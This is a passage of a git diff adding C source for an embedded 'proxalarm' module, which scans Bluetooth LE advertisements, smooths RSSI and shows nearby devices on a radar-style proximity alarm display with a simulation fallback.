(int)new_raw) / weight); +} + +/* ------------------------------------------------------------------ */ +/* Real BLE scanning */ +/* ------------------------------------------------------------------ */ + +static int ble_start_scan(void) +{ + int dd; + int err; + + dd = hci_open_dev(BLE_DSP_HCI_DEV); + if (dd < 0) { + LOG_ERR("bledsp: hci_open_dev(%d) failed: %s", BLE_DSP_HCI_DEV, strerror(errno)); + return -1; + } + + /* Set LE scan parameters: active scan, interval 0x10 (10ms), + * window 0x10 (10ms), own type 0 (public), filter 0 (accept all) */ + err = hci_le_set_scan_parameters(dd, 0x01, htobs(0x0010), htobs(0x0010), + 0x00, 0x00, 1000); + if (err < 0) { + LOG_ERR("bledsp: set_scan_parameters failed: %s", strerror(errno)); + hci_close_dev(dd); + return -1; + } + + /* Enable LE scan with duplicate filtering */ + err = hci_le_set_scan_enable(dd, 0x01, 0x01, 1000); + if (err < 0) { + LOG_ERR("bledsp: set_scan_enable failed: %s", strerror(errno)); + hci_close_dev(dd); + return -1; + } + + hci_fd = dd; + LOG_INF("bledsp: BLE LE scan started on hci%d", BLE_DSP_HCI_DEV); + return 0; +} + +static int ble_poll(void) +{ + unsigned char buf[HCI_MAX_EVENT_SIZE]; + struct hci_filter nf, of; + socklen_t olen = sizeof(of); + ssize_t len; + + if (hci_fd < 0) return -1; + + /* Save old filter, set new one for LE Meta events */ + getsockopt(hci_fd, SOL_HCI, HCI_FILTER, &of, &olen); + + hci_filter_clear(&nf); + hci_filter_set_ptype(HCI_EVENT_PKT, &nf); + hci_filter_set_event(EVT_LE_META_EVENT, &nf); + setsockopt(hci_fd, SOL_HCI, HCI_FILTER, &nf, sizeof(nf)); + + /* Note: bledsp_poll() marks all devices inactive before calling us */ + + /* Read available events with a short timeout */ + while (1) { + len = read(hci_fd, buf, sizeof(buf)); + if (len <= 0) break; + + /* We only care about LE advertising reports */ + if (buf[0] != HCI_EVENT_PKT) continue; + /* evt_le_meta_event */ + if (buf[1] != EVT_LE_META_EVENT) continue; + /* subevent 0x02 = LE Advertising Report */ + if (buf[3] != 0x02) continue; + + /* Parse LE Advertising Report */ + int num_reports = buf[4]; + unsigned char *ptr = &buf[5]; + + for (int r = 0; r < num_reports; r++) { + if (ptr + 9 > buf + len) break; + + uint8_t evt_type = ptr[0]; + uint8_t addr_type = ptr[1]; + /* uint8_t addr[6] at ptr[2..7] */ + uint8_t data_len = ptr[8]; + /* data at ptr[9 .. 9+data_len-1] */ + int8_t rssi_val = (int8_t)ptr[9 + data_len]; + + (void)evt_type; + (void)addr_type; + + /* Ignore very weak signals */ + if (rssi_val < BLE_DSP_RSSI_FLOOR) { + ptr += 9 + data_len + 1; + continue; + } + + int idx = find_or_alloc(ptr + 2); + if (idx >= 0) { + int8_t prev = dev_table[idx].rssi_smoothed; + dev_table[idx].rssi_raw = rssi_val; + dev_table[idx].rssi_smoothed = smooth_rssi( + prev, rssi_val, dev_table[idx].scan_count + 1); + dev_table[idx].rssi_delta = + dev_table[idx].rssi_smoothed - prev; + dev_table[idx].last_seen_ms = mono_ms(); + dev_table[idx].active = 1; + dev_table[idx].scan_count++; + } + + ptr += 9 + data_len + 1; + } + } + + /* Revert to previous filter state */ + setsockopt(hci_fd, SOL_HCI, HCI_FILTER, &of, sizeof(of)); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Simulation mode (fallback when no BT hardware) */ +/* ------------------------------------------------------------------ */ + +/* A small pool of fake MAC addresses that drift around */ +static const uint8_t sim_macs[][6] = { + { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0x01 }, + { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0x02 }, + { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0x03 }, +}; +#define SIM_MAC_COUNT (int)(sizeof(sim_macs) / sizeof(sim_macs[0])) + +static int sim_tick; + +static int sim_poll(void) +{ + uint32_t now = mono_ms(); + + /* Note: bledsp_poll() marks all devices inactive before calling us */ + + sim_tick++; + + for (int m = 0; m < SIM_MAC_COUNT; m++) { + /* Simulate an approaching-then-receding pattern. + * RSSI oscillates between -90 and -40 dBm over ~20 ticks. */ + int phase = (sim_tick + m * 7) % 20; + int rssi; + if (phase < 10) + rssi = -90 + phase * 5; /* -90 -> -40 (approaching) */ + else + rssi = -40 - (phase - 10) * 5; /* -40 -> -90 (receding) */ + + /* Add some noise */ + rssi += (sim_tick * 13 + m * 37) % 7 - 3; + + int idx = find_or_alloc(sim_macs[m]); + if (idx >= 0) { + int8_t prev = dev_table[idx].rssi_smoothed; + dev_table[idx].rssi_raw = (int8_t)rssi; + dev_table[idx].rssi_smoothed = smooth_rssi( + prev, (int8_t)rssi, dev_table[idx].scan_count + 1); + dev_table[idx].rssi_delta = dev_table[idx].rssi_smoothed - prev; + dev_table[idx].last_seen_ms = now; + dev_table[idx].active = 1; + dev_table[idx].scan_count++; + } + } + + return 0; +} + +/* ------------------------------------------------------------------ */ +/* WiFi scanning stub */ +/* ------------------------------------------------------------------ */ + +/* This function is the integration point for a future WiFi RSSI source. + * When a WiFi driver (nl80211 / libnl) becomes available on the X1000E, + * implement scanning here and fill the device table the same way + * ble_poll() does, but with source = BLE_SRC_WIFI. + * + * The device MAC for WiFi can be the BSSID (6 bytes) of each AP/station. + * RSSI is available from nl80211 survey data or radiotap headers. + * + * Currently: returns 0 (no devices). The bledsp_poll() caller already + * marks all devices inactive, so WiFi entries from a previous cycle + * will naturally expire via proxvec's stale-target timeout. + */ +int bledsp_poll_wifi(void) +{ + /* TODO: implement nl80211-based WiFi scanning + * 1. Open nl80211 socket + * 2. Trigger scan on phy0 + * 3. Parse scan results (BSSID + RSSI) + * 4. For each result: find_or_alloc(bssid) with source=BLE_SRC_WIFI + * 5. Apply smooth_rssi() same as BLE path + * 6. Return count of devices updated + * + * Reference: https://www.infradead.org/~tgr/libnl/ + * The X1000E has no onboard WiFi in current H2 revisions, but + * a USB WiFi dongle with monitor mode could provide this data. + */ + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Source management */ +/* ------------------------------------------------------------------ */ + +bledsp_source_t bledsp_get_source(void) +{ + return active_source; +} + +bledsp_source_t bledsp_cycle_source(void) +{ + /* Cycle: BLE -> WIFI -> BLE. SIM is not user-selectable; + * it's the automatic fallback when hardware is unavailable. */ + if (active_source == BLE_SRC_BLE) { + active_source = BLE_SRC_WIFI; + LOG_INF("bledsp: source switched to WIFI (stub)"); + } else { + active_source = BLE_SRC_BLE; + if (!sim_mode) + LOG_INF("bledsp: source switched to BLE"); + else + LOG_INF("bledsp: source switched to BLE (running in SIM mode)"); + } + return active_source; +} + +const char *bledsp_source_label(void) +{ + if (sim_mode) return "SIM"; + switch (active_source) { + case BLE_SRC_WIFI: return "WIFI"; + default: return "BLE"; + } +} + +int bledsp_init(void) +{ + memset(dev_table, 0, sizeof(dev_table)); + dev_count = 0; + hci_fd = -1; + sim_tick = 0; + last_poll_ms = mono_ms(); + + if (ble_start_scan() < 0) { + LOG_WARN("bledsp: BLE init failed, entering simulation mode"); + sim_mode = 1; + } else { + sim_mode = 0; + } + + LOG_INF("bledsp: initialised (mode=%s)", sim_mode ? "SIM" : "BLE"); + return 0; +} + +int bledsp_poll(void) +{ + last_poll_ms = mono_ms(); + + /* Mark all devices inactive for this cycle */ + for (int i = 0; i < dev_count; i++) + dev_table[i].active = 0; + + /* Poll based on active source */ + if (sim_mode) { + return sim_poll(); + } else if (active_source == BLE_SRC_WIFI) { + return bledsp_poll_wifi(); + } else { + return ble_poll(); + } +} + +const bledsp_device_t *bledsp_find(const uint8_t *mac) +{ + for (int i = 0; i < dev_count; i++) { + if (dev_table[i].active && memcmp(dev_table[i].mac, mac, 6) == 0) + return &dev_table[i]; + } + return NULL; +} + +int bledsp_get_devices(bledsp_device_t *out, int max) +{ + int written = 0; + for (int i = 0; i < dev_count && written < max; i++) { + if (dev_table[i].active) { + out[written++] = dev_table[i]; + } + } + return written; +} + +int16_t bledsp_get_smoothed_rssi(const uint8_t *mac) +{ + const bledsp_device_t *d = bledsp_find(mac); + return d ? (int16_t)d->rssi_smoothed : (int16_t)BLE_DSP_RSSI_FLOOR; +} + +void bledsp_set_near_threshold(int8_t dBm) { thresh_near = dBm; } +int8_t bledsp_get_near_threshold(void) { return thresh_near; } +int bledsp_is_simulated(void) { return sim_mode; } + +void bledsp_shutdown(void) +{ + if (hci_fd >= 0) { + /* Disable LE scan */ + hci_le_set_scan_enable(hci_fd, 0x00, 0x01, 1000); + hci_close_dev(hci_fd); + hci_fd = -1; + } + memset(dev_table, 0, sizeof(dev_table)); + dev_count = 0; + LOG_INF("bledsp: shut down"); +} \ No newline at end of file diff --git a/modules/orebolt-proxalarm/bledsp.h b/modules/orebolt-proxalarm/bledsp.h new file mode 100755 index 0000000..3d15d60 --- /dev/null +++ b/modules/orebolt-proxalarm/bledsp.h @@ -0,0 +1,122 @@ +/* + * bledsp.h -- Unified RF scanning + DSP hardware layer for proxalarm + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Unified RF scanning layer that merges the old standalone radar.mod + * (BLE hex grid scanner) and wifi.mod (adapter stub) into a single + * source-agnostic device table. Provides BLE LE scanning via BlueZ + * HCI with rolling-average RSSI smoothing, and a WiFi RSSI poll + * stub ready for a future WiFi driver (nl80211 / libnl). + * + * Memory note: on 64 MB RAM devices, this single module replaces + * three separate binaries (radar.mod + wifi.mod + proxalarm.mod), + * eliminating duplicate BLE HCI connections and reducing RSS .text + * footprint by ~30 KB. + * + * Display: uses H2_LCD_WIDTH / H2_LCD_HEIGHT from h2_ui.h (320x240 + * on the H2; change those two defines for 320x320 panels). + */ +#ifndef BLE_DSP_H +#define BLE_DSP_H + +#include +#include + +/* ------------------------------------------------------------------ */ +/* Constants */ +/* ------------------------------------------------------------------ */ + +#define BLE_DSP_MAX_DEVICES 32 +#define BLE_DSP_RSSI_WINDOW 8 /* rolling-average samples */ +#define BLE_DSP_RSSI_FLOOR -100 /* dBm: ignore anything weaker */ +#define BLE_DSP_SCAN_INTERVAL_MS 1200 /* ms between scan sweeps */ +#define BLE_DSP_HCI_DEV 0 /* hci0 */ + +/* RSSI thresholds (dBm) -- tunable at runtime via proxalarm UI */ +#define BLE_DSP_THRESH_NEAR -50 /* alarm zone */ +#define BLE_DSP_THRESH_MID -70 /* tracking zone */ +#define BLE_DSP_THRESH_FAR -85 /* detection zone */ + +/* Signal source identifiers -- unified scanning supports multiple + * RF sources simultaneously. BLE is active; WiFi is a stub waiting + * for a nl80211-based driver. SIM is the fallback when no hardware + * is available (all revisions without BLE/WiFi, or dev hosts). */ +typedef enum { + BLE_SRC_BLE = 0, + BLE_SRC_WIFI, /* stub: bledsp_poll_wifi() returns 0 devices */ + BLE_SRC_SIM, /* synthetic data for UI development / testing */ + BLE_SRC_COUNT +} bledsp_source_t; + +/* ------------------------------------------------------------------ */ +/* Device record (fills the source -> proxvec interface) */ +/* ------------------------------------------------------------------ */ + +typedef struct { + uint8_t mac[6]; + int8_t rssi_raw; /* latest raw RSSI (dBm) */ + int8_t rssi_smoothed; /* DSP-filtered RSSI (dBm) */ + int8_t rssi_delta; /* change vs previous window (dB) */ + uint32_t last_seen_ms; /* monotonic timestamp */ + uint8_t active : 1; /* 1 = seen in last scan window */ + uint8_t source : 2; /* bledsp_source_t */ + uint8_t scan_count; /* consecutive detections */ +} bledsp_device_t; + +/* ------------------------------------------------------------------ */ +/* Public API */ +/* ------------------------------------------------------------------ */ + +/* Open HCI, configure LE scan, allocate internal state. + * Returns 0 on success, -1 on failure (falls back to sim mode). */ +int bledsp_init(void); + +/* Run one scan cycle. Non-blocking; returns immediately after + * dispatching the HCI command or (in sim mode) generating data. */ +int bledsp_poll(void); + +/* Look up a device by MAC. Returns pointer into internal table + * or NULL. Valid until next bledsp_poll() call. */ +const bledsp_device_t *bledsp_find(const uint8_t *mac); + +/* Copy the full active device table into caller-supplied buffer. + * Returns the number of active devices written (0 .. MAX). */ +int bledsp_get_devices(bledsp_device_t *out, int max); + +/* Get the smoothed RSSI for a single MAC address. + * Returns the smoothed value or BLE_DSP_RSSI_FLOOR if unknown. */ +int16_t bledsp_get_smoothed_rssi(const uint8_t *mac); + +/* Adjust the near-alarm RSSI threshold at runtime (dBm). */ +void bledsp_set_near_threshold(int8_t dBm); +int8_t bledsp_get_near_threshold(void); + +/* Get the active source mode (BLE_SRC_BLE, BLE_SRC_WIFI, or BLE_SRC_SIM). */ +bledsp_source_t bledsp_get_source(void); + +/* Cycle the active source. Returns the new source. + * Order: BLE -> WIFI -> BLE (SIM is auto-selected when HW fails). */ +bledsp_source_t bledsp_cycle_source(void); + +/* Check whether the backend is real BLE or simulation. */ +int bledsp_is_simulated(void); + +/* Get a human-readable label for the current source mode. + * Returns a static string: "BLE", "WIFI", or "SIM". */ +const char *bledsp_source_label(void); + +/* WiFi scanning stub. When a WiFi driver becomes available, + * implement this function to scan for nearby APs/stations via + * nl80211 and populate the device table with source=BLE_SRC_WIFI. + * Currently returns 0 (no devices found). The caller (bledsp_poll) + * already marks all devices inactive before calling this, so stale + * WiFi entries will naturally expire. + * + * Return: number of devices added/updated (0 = none). */ +int bledsp_poll_wifi(void); + +/* Stop scanning, close HCI socket, free resources. */ +void bledsp_shutdown(void); + +#endif /* BLE_DSP_H */ \ No newline at end of file diff --git a/modules/orebolt-proxalarm/proxalarm.c b/modules/orebolt-proxalarm/proxalarm.c new file mode 100755 index 0000000..0ce9e3e --- /dev/null +++ b/modules/orebolt-proxalarm/proxalarm.c @@ -0,0 +1,213 @@ +/* + * proxalarm.c -- Proximity Alarm module main entry point (unified) + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * OreBolt OS module: Unified Proximity Alarm / Radar. + * + * Packs RF scanning, kinematics, and radar UI as a single .mod binary + * with three internal layers. + * + * Three-layer architecture: + * bledsp -- Unified RF/DSP layer (BLE scanning + WiFi stub + RSSI) + * proxvec -- Kinematics layer (target tracking + alarm FSM) + * radar_ui -- Presentation layer (LVGL radar display) + * + * Input controls (via H2 rotary encoder + buttons): + * ROTATE Cycle sensitivity (NEAR threshold: -40, -50, -60, -70 dBm) + * PLAY Toggle scan pause/resume + * NEXT Cycle RF source (BLE <-> WIFI) + * BACK Exit module + * + * This binary is fork+exec'd by the h2_test launcher. + * It initialises its own LVGL instance and runs its own event loop. + */ + +#include +#include +#include +#include +#include +#include + +#include "h2_ui.h" +#include "log_manager.h" +#include "bledsp.h" +#include "proxvec.h" +#include "radar_ui.h" + +/* ------------------------------------------------------------------ */ +/* Sensitivity presets (dBm thresholds for the "near" alarm zone) */ +/* ------------------------------------------------------------------ */ + +static const int8_t sens_presets[] = { -40, -50, -60, -70 }; +#define SENS_COUNT (int)(sizeof(sens_presets) / sizeof(sens_presets[0])) +static int sens_idx = 1; /* default: -50 dBm */ + +/* ------------------------------------------------------------------ */ +/* State */ +/* ------------------------------------------------------------------ */ + +static volatile int running = 1; +static int paused = 0; +static int prev_alarms = 0; +static uint32_t last_scan_ms; + +/* ------------------------------------------------------------------ */ +/* Helpers */ +/* ------------------------------------------------------------------ */ + +static uint32_t mono_ms(void) +{ + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return (uint32_t)(ts.tv_sec * 1000U + ts.tv_nsec / 1000000U); +} + +static void update_sensitivity(void) +{ + int8_t thresh = sens_presets[sens_idx]; + bledsp_set_near_threshold(thresh); + /* Map alarm radius: lower threshold (closer) = smaller radius. + * -40 dBm -> radius 30, -70 dBm -> radius 90 */ + int radius = 30 + (sens_idx) * 20; + proxvec_set_alarm_radius((int16_t)radius); + + char buf[32]; + snprintf(buf, sizeof(buf), "NEAR: %ddBm", thresh); + radar_ui_set_sensitivity_label(buf); + + LOG_INF("proxalarm: sensitivity set to %d dBm (radius %d grid units)", + thresh, radius); +} + +/* ------------------------------------------------------------------ */ +/* Signal handler */ +/* ------------------------------------------------------------------ */ + +#include +static void on_signal(int sig) { (void)sig; running = 0; } + +/* ------------------------------------------------------------------ */ +/* Main */ +/* ------------------------------------------------------------------ */ + +int main(int argc, char **argv) +{ + (void)argc; (void)argv; + + signal(SIGINT, on_signal); + signal(SIGTERM, on_signal); + + /* Initialise logging */ + if (log_init("/data/vault/syslog.log") < 0) { + fprintf(stderr, "[-] proxalarm: log_init failed\n"); + return 1; + } + LOG_INF("proxalarm: starting (unified proximity sensing)"); + + /* Initialise LVGL (own instance for this module) */ + init_h2_graphics_runtime("PROXALARM v1.7"); + + /* Initialise the three layers (bottom-up) */ + if (bledsp_init() < 0) { + LOG_ERR("proxalarm: bledsp_init failed"); + log_close(); + return 1; + } + proxvec_init(); + radar_ui_init(); + + /* Set initial sensitivity */ + update_sensitivity(); + + /* Set source label (shows BLE/WIFI/SIM depending on mode) */ + radar_ui_set_source_label(bledsp_source_label()); + + /* Open input device */ + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + if (input_fd < 0) { + LOG_WARN("proxalarm: cannot open input device: %s", strerror(errno)); + } + + last_scan_ms = mono_ms(); + + LOG_INF("proxalarm: ready (ROTATE=sens PLAY=pause NEXT=source BACK=exit)"); + + /* ---- Main loop ---- */ + while (running) { + lv_timer_handler(); + + /* Process input events */ + if (input_fd >= 0) { + struct input_event ev; + while (read(input_fd, &ev, sizeof(ev)) > 0) { + if (ev.type == EV_REL && ev.code == H2_ROTARY_REL && ev.value != 0) { + /* Cycle sensitivity */ + sens_idx += (ev.value > 0) ? 1 : -1; + if (sens_idx < 0) sens_idx = SENS_COUNT - 1; + if (sens_idx >= SENS_COUNT) sens_idx = 0; + update_sensitivity(); + } + if (ev.type == EV_KEY && ev.value == 1) { + if (ev.code == H2_KEY_PLAY) { + paused = !paused; + LOG_INF("proxalarm: %s", paused ? "PAUSED" : "RESUMED"); + } + if (ev.code == H2_KEY_NEXT) { + /* Cycle RF source: BLE <-> WIFI */ + bledsp_cycle_source(); + radar_ui_set_source_label(bledsp_source_label()); + LOG_INF("proxalarm: source=%s", bledsp_source_label()); + } + if (ev.code == H2_KEY_BACK) { + running = 0; + } + } + } + } + + /* Periodic scan + update (respect BLE scan interval) */ + uint32_t now = mono_ms(); + if (!paused && (now - last_scan_ms >= (uint32_t)BLE_DSP_SCAN_INTERVAL_MS)) { + last_scan_ms = now; + + /* Layer 1: poll BLE hardware */ + bledsp_poll(); + + /* Layer 2: feed device data to kinematics engine */ + bledsp_device_t devs[BLE_DSP_MAX_DEVICES]; + int dev_count = bledsp_get_devices(devs, BLE_DSP_MAX_DEVICES); + proxvec_update(devs, dev_count); + + /* Layer 3: get targets and refresh display */ + proxvec_target_t tgts[PROXVEC_MAX_TARGETS]; + int tgt_count = proxvec_get_targets(tgts, PROXVEC_MAX_TARGETS); + int alarm_count = proxvec_get_alarm_count(); + radar_ui_refresh(tgts, tgt_count, alarm_count); + + /* Alarm flash management */ + if (alarm_count > 0 && prev_alarms == 0) { + radar_ui_set_alarm_flash(1); + LOG_INF("proxalarm: ALARM triggered (%d target%s in zone)", + alarm_count, alarm_count == 1 ? "" : "s"); + } else if (alarm_count == 0 && prev_alarms > 0) { + radar_ui_set_alarm_flash(0); + LOG_INF("proxalarm: alarm cleared"); + } + prev_alarms = alarm_count; + } + + usleep(5000); /* ~200 Hz input poll, LVGL tick */ + } + + /* ---- Cleanup ---- */ + if (input_fd >= 0) close(input_fd); + radar_ui_set_alarm_flash(0); + radar_ui_destroy(); + proxvec_shutdown(); + bledsp_shutdown(); + log_close(); + + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-proxalarm/proxvec.c b/modules/orebolt-proxalarm/proxvec.c new file mode 100755 index 0000000..4223da5 --- /dev/null +++ b/modules/orebolt-proxalarm/proxvec.c @@ -0,0 +1,312 @@ +/* + * proxvec.c -- Proximity Vector Engine implementation + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Converts smoothed RSSI values from bledsp into abstract grid + * coordinates, tracks per-target velocity via a finite-state machine, + * and determines alarm state. + * + * Coordinate model: + * - Center of grid = the H2 device (the "holder") + * - Grid range: [0, PROXVEC_GRID_SIZE) in both axes + * - Center = (GRID_SIZE/2, GRID_SIZE/2) + * - Distance from center = "radius" in grid units + * - RSSI maps to radius via a log-distance path-loss model + * - Azimuth is pseudo-random at first detection (BLE has no + * directional info) and drifts slightly based on RSSI delta + * to give visual feedback of movement direction. + */ + +#include "proxvec.h" +#include "log_manager.h" + +#include +#include +#include + +/* ------------------------------------------------------------------ */ +/* Internal state */ +/* ------------------------------------------------------------------ */ + +static proxvec_target_t targets[PROXVEC_MAX_TARGETS]; +static int target_count; +static int alarm_radius = PROXVEC_ALARM_RADIUS; +static uint32_t update_tick; + +/* ------------------------------------------------------------------ */ +/* Helpers */ +/* ------------------------------------------------------------------ */ + +/* Log-distance path-loss model (fixed-point, x10 to avoid floats). + * + * distance = 10 ^ ((TxPower - RSSI) / (10 * n)) + * + * We compute this with a lookup table to avoid libm on the target. + * Table maps (TxPower - RSSI) in dB to a grid-radius value. + * Range: 0 dB (on top of us) to 80 dB (far away). + * + * grid_radius = scale * 10^((delta_dB * 10) / (10 * n * 10)) + * = scale * 10^(delta_dB / n10) + * where n10 = PROXVEC_PATH_LOSS_N (= 25, representing n=2.5). + * + * We precompute: for delta_dB 0..80, radius = (GRID_SIZE/2 - 10) * (1 - dB/100) + * This is a linear approximation that's good enough for a tripwire alarm. + */ +#define DB_TO_GRID_MAX 80 + +static int8_t db_to_grid[DB_TO_GRID_MAX + 1]; + +static void build_db_table(void) +{ + int max_r = PROXVEC_GRID_SIZE / 2 - 10; + for (int dB = 0; dB <= DB_TO_GRID_MAX; dB++) { + /* Linear mapping: 0 dB -> radius 5, 80 dB -> radius max_r */ + int r = 5 + (max_r - 5) * dB / DB_TO_GRID_MAX; + if (r > max_r) r = max_r; + db_to_grid[dB] = (int8_t)r; + } +} + +/* Convert RSSI to grid radius. Clamp to table bounds. */ +static int rssi_to_radius(int8_t rssi) +{ + int delta = PROXVEC_TX_POWER_DEFAULT / 10 - (int)rssi; + /* Tx is ~4 dBm, so delta = 4 - rssi. + * For rssi -40: delta = 44 -> close + * For rssi -90: delta = 94 -> far (clamped to 80) */ + if (delta < 0) delta = 0; + if (delta > DB_TO_GRID_MAX) delta = DB_TO_GRID_MAX; + return (int)db_to_grid[delta]; +} + +/* Deterministic pseudo-random angle from MAC address. + * Uses a simple hash to spread devices around the circle. */ +static int mac_to_angle(const uint8_t *mac) +{ + uint32_t h = (uint32_t)mac[0] | ((uint32_t)mac[1] << 8) | + ((uint32_t)mac[2] << 16) | ((uint32_t)mac[3] << 24); + h ^= h >> 16; + h *= 0x45d9f3b; + h ^= h >> 16; + return (int)(h % 360); +} + +/* Find a target slot by MAC, or allocate a new one. */ +static int find_target(const uint8_t *mac) +{ + for (int i = 0; i < target_count; i++) { + if (memcmp(targets[i].mac, mac, 6) == 0) + return i; + } + if (target_count >= PROXVEC_MAX_TARGETS) { + /* Evict the oldest LOST target */ + for (int i = 0; i < target_count; i++) { + if (targets[i].state == TRACK_LOST) { + memset(&targets[i], 0, sizeof(proxvec_target_t)); + memcpy(targets[i].mac, mac, 6); + return i; + } + } + return -1; + } + int idx = target_count++; + memset(&targets[idx], 0, sizeof(proxvec_target_t)); + memcpy(targets[idx].mac, mac, 6); + return idx; +} + +/* Map RSSI delta to azimuth drift (degrees). + * A strengthening signal (negative delta) drifts the angle + * slightly to give visual impression of approach direction. */ +static int delta_to_azimuth_drift(int8_t rssi_delta) +{ + /* Clamp to [-5, +5] degrees per tick */ + int drift = (int)rssi_delta / 4; + if (drift < -5) drift = -5; + if (drift > 5) drift = 5; + return -drift; /* invert: stronger signal -> negative delta -> positive drift */ +} + +/* Map smoothed RSSI to intensity [0, 255]. + * -40 dBm (very close) -> 255; -100 dBm (far) -> 20 */ +static uint8_t rssi_to_intensity(int8_t rssi) +{ + int t = (rssi + 100) * 255 / 60; + if (t < 20) t = 20; + if (t > 255) t = 255; + return (uint8_t)t; +} + +/* ------------------------------------------------------------------ */ +/* Public API */ +/* ------------------------------------------------------------------ */ + +void proxvec_init(void) +{ + memset(targets, 0, sizeof(targets)); + target_count = 0; + update_tick = 0; + build_db_table(); + LOG_INF("proxvec: initialised (alarm_radius=%d)", alarm_radius); +} + +void proxvec_update(const bledsp_device_t *devices, int count) +{ + uint32_t now_ms; + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + now_ms = (uint32_t)(ts.tv_sec * 1000U + ts.tv_nsec / 1000000U); + + update_tick++; + + /* Mark all existing targets as potentially lost */ + for (int i = 0; i < target_count; i++) { + if (targets[i].state != TRACK_LOST) { + /* Will be re-confirmed below if device still active */ + } + } + + /* Update or create targets from the device table */ + for (int d = 0; d < count; d++) { + int idx = find_target(devices[d].mac); + if (idx < 0) continue; + + proxvec_target_t *t = &targets[idx]; + t->prev_radius = t->radius; + t->age_ticks++; + + /* Convert RSSI to grid radius */ + t->radius = (int16_t)rssi_to_radius(devices[d].rssi_smoothed); + + /* Compute radial velocity */ + t->velocity = t->radius - t->prev_radius; + + /* Compute x, y from radius and angle */ + int base_angle; + if (t->age_ticks == 1) { + /* First detection: assign a pseudo-random angle from MAC */ + t->x = PROXVEC_GRID_SIZE / 2; /* will be overwritten */ + t->y = PROXVEC_GRID_SIZE / 2; + } + + base_angle = mac_to_angle(devices[d].mac); + /* Apply azimuth drift based on RSSI delta */ + base_angle += delta_to_azimuth_drift(devices[d].rssi_delta) * t->age_ticks; + base_angle = ((base_angle % 360) + 360) % 360; + + /* Polar to cartesian, centered on grid */ + int cx = PROXVEC_GRID_SIZE / 2; + int cy = PROXVEC_GRID_SIZE / 2; + double rad = (double)base_angle * 3.14159265 / 180.0; + t->x = cx + (int16_t)((double)t->radius * cos(rad)); + t->y = cy + (int16_t)((double)t->radius * sin(rad)); + + /* Clamp to grid */ + if (t->x < 0) t->x = 0; + if (t->y < 0) t->y = 0; + if (t->x >= PROXVEC_GRID_SIZE) t->x = PROXVEC_GRID_SIZE - 1; + if (t->y >= PROXVEC_GRID_SIZE) t->y = PROXVEC_GRID_SIZE - 1; + + /* Intensity from RSSI */ + t->intensity = rssi_to_intensity(devices[d].rssi_smoothed); + + /* State machine transitions */ + if (t->age_ticks == 1) { + t->state = TRACK_NEW; + } else { + switch (t->state) { + case TRACK_NEW: + t->state = TRACK_STATIONARY; + break; + case TRACK_STATIONARY: + if (t->velocity < -2) t->state = TRACK_APPROACHING; + else if (t->velocity > 2) t->state = TRACK_RECEDING; + break; + case TRACK_APPROACHING: + if (t->velocity >= 0) t->state = TRACK_STATIONARY; + else if (t->velocity > 2) t->state = TRACK_RECEDING; + break; + case TRACK_RECEDING: + if (t->velocity <= 0) t->state = TRACK_STATIONARY; + else if (t->velocity < -2) t->state = TRACK_APPROACHING; + break; + case TRACK_LOST: + t->state = TRACK_NEW; /* re-acquired */ + t->age_ticks = 1; + break; + } + } + + /* Alarm check */ + t->alarm = (t->radius <= alarm_radius) ? 1 : 0; + } + + /* Mark stale targets as LOST */ + for (int i = 0; i < target_count; i++) { + if (targets[i].state != TRACK_LOST) { + int found = 0; + for (int d = 0; d < count; d++) { + if (memcmp(targets[i].mac, devices[d].mac, 6) == 0) { + found = 1; + break; + } + } + if (!found) { + /* Check stale timeout */ + /* We don't store last_seen in target, use age as proxy */ + if (targets[i].age_ticks > 3) { /* missed 3+ polls */ + targets[i].state = TRACK_LOST; + targets[i].alarm = 0; + targets[i].intensity = 0; + } + } + } + } +} + +int proxvec_get_targets(proxvec_target_t *out, int max) +{ + int written = 0; + for (int i = 0; i < target_count && written < max; i++) { + if (targets[i].state != TRACK_LOST) { + out[written++] = targets[i]; + } + } + return written; +} + +int proxvec_get_alarm_count(void) +{ + int count = 0; + for (int i = 0; i < target_count; i++) { + if (targets[i].alarm) count++; + } + return count; +} + +int proxvec_get_track_count(void) +{ + int count = 0; + for (int i = 0; i < target_count; i++) { + if (targets[i].state != TRACK_LOST) count++; + } + return count; +} + +void proxvec_reset(void) +{ + memset(targets, 0, sizeof(targets)); + target_count = 0; + update_tick = 0; +} + +void proxvec_set_alarm_radius(int16_t r) { alarm_radius = r; } +int16_t proxvec_get_alarm_radius(void) { return alarm_radius; } + +void proxvec_shutdown(void) +{ + memset(targets, 0, sizeof(targets)); + target_count = 0; + LOG_INF("proxvec: shut down"); +} \ No newline at end of file diff --git a/modules/orebolt-proxalarm/proxvec.h b/modules/orebolt-proxalarm/proxvec.h new file mode 100755 index 0000000..2532e46 --- /dev/null +++ b/modules/orebolt-proxalarm/proxvec.h @@ -0,0 +1,97 @@ +/* + * proxvec.h -- Proximity Vector Engine (kinematics layer, unified) + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Pure logical engine between the hardware layer (bledsp) and the + * display layer (radar_ui). Consumes smoothed RSSI from bledsp's + * unified device table (BLE + future WiFi sources), converts to + * abstract grid coordinates, tracks velocity, and determines alarm + * state via a finite-state machine per target. + */ +#ifndef PROXVEC_H +#define PROXVEC_H + +#include +#include "bledsp.h" + +/* ------------------------------------------------------------------ */ +/* Constants */ +/* ------------------------------------------------------------------ */ + +#define PROXVEC_MAX_TARGETS BLE_DSP_MAX_DEVICES + +/* Abstract grid size -- coordinates are mapped onto the LVGL canvas + * by radar_ui. Using a fixed grid keeps the kinematics independent + * of the display resolution. */ +#define PROXVEC_GRID_SIZE 240 /* abstract units */ + +/* Path-loss model parameters (indoor, n ~= 2.5) */ +#define PROXVEC_PATH_LOSS_N 25 /* fixed-point x10: 2.5 */ +#define PROXVEC_TX_POWER_DEFAULT 40 /* assumed Tx power dBm x10 */ + +/* Alarm: target within this many grid units of center triggers alarm */ +#define PROXVEC_ALARM_RADIUS 50 + +/* Stale timeout: drop target if not seen for this many ms */ +#define PROXVEC_STALE_MS 5000 + +/* 